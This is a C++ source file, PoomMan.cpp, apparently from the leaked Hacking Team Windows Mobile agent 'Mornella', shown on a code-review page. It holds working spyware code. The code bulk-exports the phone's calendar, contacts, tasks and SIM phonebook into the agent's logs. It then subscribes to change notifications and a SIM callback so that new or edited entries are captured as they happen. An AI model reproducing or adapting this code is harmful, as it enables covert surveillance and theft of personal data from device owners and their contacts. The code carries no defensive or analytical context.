hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/PoomMan.cpp

Summary

Maintainability
Test Coverage
#define INITGUID

#include <windows.h>
#include <winbase.h>
#include <pimstore.h>

#include "PoomMan.h"
#include "PoomSerializer.h"
#include "Log.h"

#include "PoomContact.h"
#include "PoomCalendar.h"
//#include "PoomCalendarReader.h"
#include "PoomTask.h"

// XXX Occhio che le funzioni OLE NON SONO thread safe, quindi questa classe
// non la possiamo richiamare da piu' thread contemporaneamente
CPoomMan* CPoomMan::m_pInstance = NULL;
volatile LONG CPoomMan::lLock = 0;

IPoomFolderReader::IPoomFolderReader(IFolder *pIfolder)
    :    _pIFolder(pIfolder)
{
}

IPOutlookItemCollection* IPoomFolderReader::getItemCollection()
{
    HRESULT hr;
    IPOutlookItemCollection* pCollection = NULL;

    if (_pIFolder != NULL) {
        hr = _pIFolder->get_Items(&pCollection);

        if (FAILED(hr))
            return NULL;
    }

    return pCollection;
}

IPoomFolderReader::~IPoomFolderReader()
{
    if (_pIFolder != NULL) {
        _pIFolder->Release();
        _pIFolder = NULL;
    }
}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////    PoomMan                    /////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
CPoomMan* CPoomMan::self()
{
    while (InterlockedExchange((LPLONG)&lLock, 1) != 0)
        Sleep(1);

    if (m_pInstance == NULL)
        m_pInstance = new(std::nothrow) CPoomMan();

    InterlockedExchange((LPLONG)&lLock, 0);

    return m_pInstance;
}

CPoomMan::CPoomMan() : m_pIPoomApp(NULL), m_bIsValid(FALSE), m_bCoUnInitialize(FALSE)
{    
    HRESULT hr;

    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);

    if (hr == S_FALSE) {
        DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan CoInitializeEx S_FALSE \n", 5, FALSE);
        CoUninitialize();
        return;
    }

    if (FAILED(hr)) {
        DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan CoInitializeEx FAILED \n", 5, FALSE);
        return;
    }

    hr = CoCreateInstance(CLSID_Application,
                            NULL,
                            CLSCTX_INPROC_SERVER,
                            IID_IPOutlookApp,
                            (LPVOID*) &m_pIPoomApp);

    if (FAILED(hr)) {
        DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan CoCreateInstance FAILED \n", 5, FALSE);
        CoUninitialize();
        return;
    }

    HWND win = CreateWindow(L"STATIC", L"Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);

    hr = m_pIPoomApp->Logon((long) win);

    if (FAILED(hr)) {
        DBG_TRACE(L"Debug - PoomMan.cpp - CPoomMan Logon FAILED \n", 5, FALSE);
        CoUninitialize();
        return;
    }

    m_bIsValid = TRUE;
    m_bCoUnInitialize = TRUE;
}

CPoomMan::~CPoomMan()
{
    if (m_hSim != NULL) {
        SimDeinitialize(m_hSim);
        m_hSim = NULL;
    }

    if (m_pIPoomApp) {
        m_pIPoomApp->Logoff();
        m_pIPoomApp->Release();
    }

    CPoomMan::m_pInstance = NULL;

    if (m_bCoUnInitialize)
        CoUninitialize();
}

void CPoomMan::_Export()
{
    CPoomFolderFactor *factor = new(nothrow) CPoomFolderFactor();

    if (factor == NULL)
        return;

    IFolder *pIFolder = NULL;

#define EXPORT_FOLDER(x)    if (SUCCEEDED( m_pIPoomApp->GetDefaultFolder(x, &pIFolder))){        \
                                IPoomFolderReader *reader = _Export(factor->get(x, pIFolder));    \
                                if (reader) delete reader;                                        \
                                pIFolder->Release();                                            \
                                pIFolder = NULL;                                                \
                            }

    EXPORT_FOLDER(olFolderCalendar);    
    EXPORT_FOLDER(olFolderContacts);
    EXPORT_FOLDER(olFolderTasks);
    // Contatti SIM
    IPoomFolderReader* pSIMreader = _Export(factor->get((OlDefaultFolders) olFolderContactsSim, NULL));
    
    if (pSIMreader != NULL)
        delete pSIMreader;

    delete factor;
}

IPoomFolderReader* CPoomMan::_Export(IPoomFolderReader *reader)
{
    HRESULT hr;
    UINT uBufLen = 0;
    LPBYTE pBuffer = NULL;
    
    if (reader == NULL) {
        DBG_TRACE(L"Debug - PoomMan.cpp - _Export(IPoomFolderReader *reader)) reader == NULL \n", 5, FALSE);
        return reader;
    }

    INT nCount = reader->Count();
    DBG_TRACE_INT(L"Debug - PoomMan.cpp - _Export(IPoomFolderReader *reader)) item count: \n", 5, FALSE, nCount);

    if (nCount > 0) {
        CPoomSerializer pPoomSerializer;

        Log poomLog = Log();
        poomLog.CreateLog(reader->GetType(), NULL, 0, FLASH);
        
        for (INT i = 1; i <= nCount; i++) {    
            hr = reader->Get(i, &pPoomSerializer, &pBuffer, &uBufLen);
            if (S_OK == hr) {
                if (pBuffer != NULL) {
                    poomLog.WriteLog(pBuffer, uBufLen);
                    SAFE_DELETE(pBuffer);
                }
            } else {
                // empty slot
                if (hr != 0x88000345) {
                    DBG_TRACE_INT(L"Debug - PoomMan.cpp - _Export(IPoomFolderReader *reader)) Get FAILED hr:", 5, FALSE, hr);
                }
            }
        }
         
        poomLog.CloseLog();
    }

    return reader;
}

void CPoomMan::_ExportOne(DWORD dwType, LONG lOid)
{    
    CPoomFolderFactor *factor = new CPoomFolderFactor();
    IFolder *pIFolder = NULL;

    if (SUCCEEDED(m_pIPoomApp->GetDefaultFolder((int)dwType, &pIFolder))){
        IPoomFolderReader *reader = _ExportOne(factor->get((OlDefaultFolders) dwType, pIFolder), lOid);

        if (reader)
            delete reader;

        pIFolder->Release();
        pIFolder = NULL;
    }  else {
        DBG_TRACE(L"Debug - PoomMan.cpp - _ExportOne(DWORD dwType, LONG lOid) error GetDefaultFolder()\n", 5, FALSE);
    }

    if (factor)
        delete factor;
}

IPoomFolderReader* CPoomMan::_ExportOneSIM(IPoomFolderReader *reader, UINT uIndex)
{
    UINT uBufLen = 0;
    LPBYTE pBuffer = NULL;

    if (reader == NULL)
        return reader;

    CPoomSerializer pPoomSerializer;

    if (SUCCEEDED(reader->Get(uIndex, &pPoomSerializer, &pBuffer, &uBufLen))) {
        Log poomLog = Log();

        if (pBuffer) {
            poomLog.CreateLog(reader->GetType(), NULL, 0, FLASH);
            poomLog.WriteLog(pBuffer, uBufLen);            
            poomLog.CloseLog();
            SAFE_DELETE(pBuffer);
        }
    }

    return reader;
}

void CPoomMan::_ExportOneSIM(DWORD dwType, UINT uIndex)
{    
    CPoomFolderFactor *factor = new(nothrow) CPoomFolderFactor();

    if (factor == NULL)
        return;

    IPoomFolderReader *reader = _ExportOneSIM(factor->get((OlDefaultFolders) olFolderContactsSim, NULL), uIndex);

    if (reader)
        delete reader;

    delete factor;
}

IPoomFolderReader* CPoomMan::_ExportOne(IPoomFolderReader *reader, LONG lOid)
{
    if (reader == NULL)
        return reader;

    UINT uBufLen = 0;
    LPBYTE pBuffer = NULL;
    CPoomSerializer pPoomSerializer;
    
    if (SUCCEEDED(reader->GetOne(m_pIPoomApp, lOid, &pPoomSerializer, &pBuffer, &uBufLen))) {
        Log poomLog = Log();

        if (pBuffer) {
            poomLog.CreateLog(reader->GetType(), NULL, 0, FLASH);
            poomLog.WriteLog(pBuffer, uBufLen);            
            delete[] pBuffer;
            poomLog.CloseLog();
        }  else {
            DBG_TRACE(L"Debug - PoomMan.cpp - _ExportOne(IPoomFolderReader *reader, LONG lOid) error pBuffer vuoto\n", 5, FALSE);
        }
    } else {
        DBG_TRACE(L"Debug - PoomMan.cpp - _ExportOne(IPoomFolderReader *reader, LONG lOid) error GetOne FAILED\n", 5, FALSE);
    }
    
    return reader;
}

void CPoomMan::Notifications()
{
    MSG msg;
    ZeroMemory(&msg, sizeof(MSG));

    BOOL bNew = FALSE;
    DWORD dwTime = 0;

    while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) != 0) {
        if (msg.message == PIM_ITEM_CREATED_REMOTE    ||
            msg.message == PIM_ITEM_CHANGED_REMOTE ) {

            if (msg.lParam == olFolderCalendar ||
                msg.lParam == olFolderContacts ||
                msg.lParam == olFolderTasks) {
                DBG_TRACE(L"Debug - PoomMan.cpp - Notification New Notification\n", 5, FALSE);
                if (msg.lParam == olFolderCalendar) {
                    if (msg.message == PIM_ITEM_CHANGED_REMOTE) {
                        if (bNew && msg.time == dwTime)
                            continue;
                        DBG_TRACE(L"Debug - PoomMan.cpp - Notification PIM_ITEM_CHANGED_REMOTE NO ITEM\n", 5, FALSE);
                        bNew = FALSE;
                    } else {
                        DBG_TRACE(L"Debug - PoomMan.cpp - Notification PIM_ITEM_CHANGED_REMOTE NEW ITEM\n", 5, FALSE);
                        dwTime = msg.time;
                        bNew = TRUE;
                    }
                }
                m_pInstance->_ExportOne((DWORD) msg.lParam, (LONG) msg.wParam);
            }
        }
        DispatchMessage(&msg);
    }
}

HRESULT CPoomMan::_SubscribeToNotifications(IPOutlookApp *pPoom, OlDefaultFolders olFolder, UINT uiNotificationsType)
{
    HRESULT        hr          = 0;
    IFolder        *pFolder    = NULL;
    IItem        *pItem      = NULL;
    CEPROPVAL    propval     = {0};

    hr = pPoom->GetDefaultFolder(olFolder, &pFolder);

    if (FAILED(hr)) {
        DBG_TRACE(L"CPoomMan - _SubscribeToNotifications FAILED 1", 5, FALSE);
        return hr;
    }

    hr = pFolder->QueryInterface(IID_IItem, (LPVOID*)&pItem);

    if (FAILED(hr)) {
        DBG_TRACE(L"CPoomMan - _SubscribeToNotifications FAILED 1", 5, FALSE);
        pFolder->Release();
        return hr;
    }

    propval.propid = PIMPR_FOLDERNOTIFICATIONS;
    propval.val.ulVal = uiNotificationsType;
    
    hr = pItem->SetProps(0, 1, &propval);

    pItem->Release();
    pFolder->Release();

    return hr;
}

void CPoomMan::SimCallBack(DWORD dwNotifyCode, const void* lpData, DWORD dwDataSize, DWORD dwParam)
{
    if (lpData == NULL)
        return;

    if (dwNotifyCode == SIM_NOTIFY_PBE_STORED) {        // prendiamo solo le modifiche al phonebook
        SIMPBECHANGE* pPBNotify = (SIMPBECHANGE*) lpData;

        if (pPBNotify->dwStorage == SIM_PBSTORAGE_SIM) { // prendiamo solo i numeri standard
                    
            _ExportOneSIM(103, pPBNotify->dwEntry);    // il tipo e' 103 per compatibilita'  
                                                    // con le POOM (OlDefaultFolders) per eventuali sviluppi futuri
        }
    }
}

BOOL CPoomMan::_InitializeSIMCallback()
{
    HRESULT hr = E_FAIL;
    BOOL bRet = FALSE;

    hr = SimInitialize(SIM_INIT_SIMCARD_NOTIFICATIONS,
                        (SIMCALLBACK)SimCallBack,
                        0,
                        &m_hSim);
    if (hr != S_OK) {
        DBG_TRACE(L"CPoomMan - _InitializeSIMCallback FAILED 1", 5, FALSE);
        return bRet;
    }

    return (bRet = TRUE);
}

void CPoomMan::Run(UINT uAgentId)
{
    DWORD dwNotify = 1;
    BYTE *pBuf = NULL;
    UINT uSize = sizeof(DWORD);

    if (!IsValid()) {
        m_pInstance = self();
    }

    Log pPOOMMarkup = Log();

    if (!pPOOMMarkup.IsMarkup(uAgentId)){
        // Export di tutti i dati
        m_pInstance->_Export();
        pPOOMMarkup.WriteMarkup(uAgentId,(BYTE *)&dwNotify, uSize);
    }

    pBuf = pPOOMMarkup.ReadMarkup(uAgentId, &uSize);
                                                           
    if (pBuf && uSize == sizeof(DWORD)) {
        CopyMemory(&dwNotify, pBuf, uSize);
        //SAFE_DELETE(pBuf);
        
        if (dwNotify == 1) {
            // Notifiche POOM
            _SubscribeToNotifications(m_pIPoomApp, olFolderContacts, PIMFOLDERNOTIFICATION_REMOTE);
            _SubscribeToNotifications(m_pIPoomApp, olFolderCalendar, PIMFOLDERNOTIFICATION_REMOTE);
            _SubscribeToNotifications(m_pIPoomApp, olFolderTasks, PIMFOLDERNOTIFICATION_REMOTE);
            // Notifiche SIM
            _InitializeSIMCallback();
            // Attesa delle notifiche di modifica o nuovo inserimento
            //return;
        }
    }

    SAFE_DELETE(pBuf);
    return;
}